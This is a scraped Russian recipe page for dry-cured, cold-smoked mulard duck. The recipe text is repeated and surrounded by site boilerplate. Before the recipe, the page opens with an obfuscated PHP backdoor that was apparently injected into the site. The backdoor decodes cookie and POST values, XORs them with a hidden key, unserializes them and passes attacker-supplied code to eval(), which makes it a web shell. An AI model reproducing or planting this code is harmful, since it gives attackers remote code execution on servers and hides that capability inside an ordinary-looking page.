$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Утка mulard сырокопченая • Meat Review

Утка mulard сырокопченая

0 0
Утка mulard сырокопченая

Поделиться в социальных сетях

Вы можете скопировать ссылку

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

  • Средне

Инструкция

Поделиться

Утка mulard сырокопченая вяленая или мускусная утка кряква.

Засолил в посолочной смеси:
– 1 килограмм крупной соли
– 2 столовых ложки сахара
– 1 столовая ложка крупно молотого черного перца
– 1 столовая ложка мелко порезанных тимьяна с розмарином (совсем чуть-чуть),
– 1 стакан коньяка.

Этой смесью равномерно натер пол тушки утки.
Посол 2 суток.
Затем – смыл остатки соли, дал вылежаться сутки.
Коптил холодным дымом 8 часов.
Три недели вяление при комнатной температуре, не в камере.
Утка mulard сырокопченая вяленая или мускусная утка кряква.

Засолил в посолочной смеси:
– 1 килограмм крупной соли
– 2 столовых ложки сахара
– 1 столовая ложка крупно молотого черного перца
– 1 столовая ложка мелко порезанных тимьяна с розмарином (совсем чуть-чуть),
– 1 стакан коньяка.

Этой смесью равномерно натер пол-тушки утки.
Посол 2 суток.
Затем – смыл остатки соли, дал вылежаться сутки.
Коптил холодным дымом 8 часов.
Три недели вяление при комнатной температуре, не в камере.

(Visited 2 431 times, 1 visits today)
обратно
Колбаса “Московская Сырокопченая”
далее
Корейка сырокопченая
обратно
Колбаса “Московская Сырокопченая”
далее
Корейка сырокопченая

There are no comments yet

× You need to log in to enter the discussion
    Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

    By continuing to use the site, you agree to the use of cookies. more information

    The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

    Close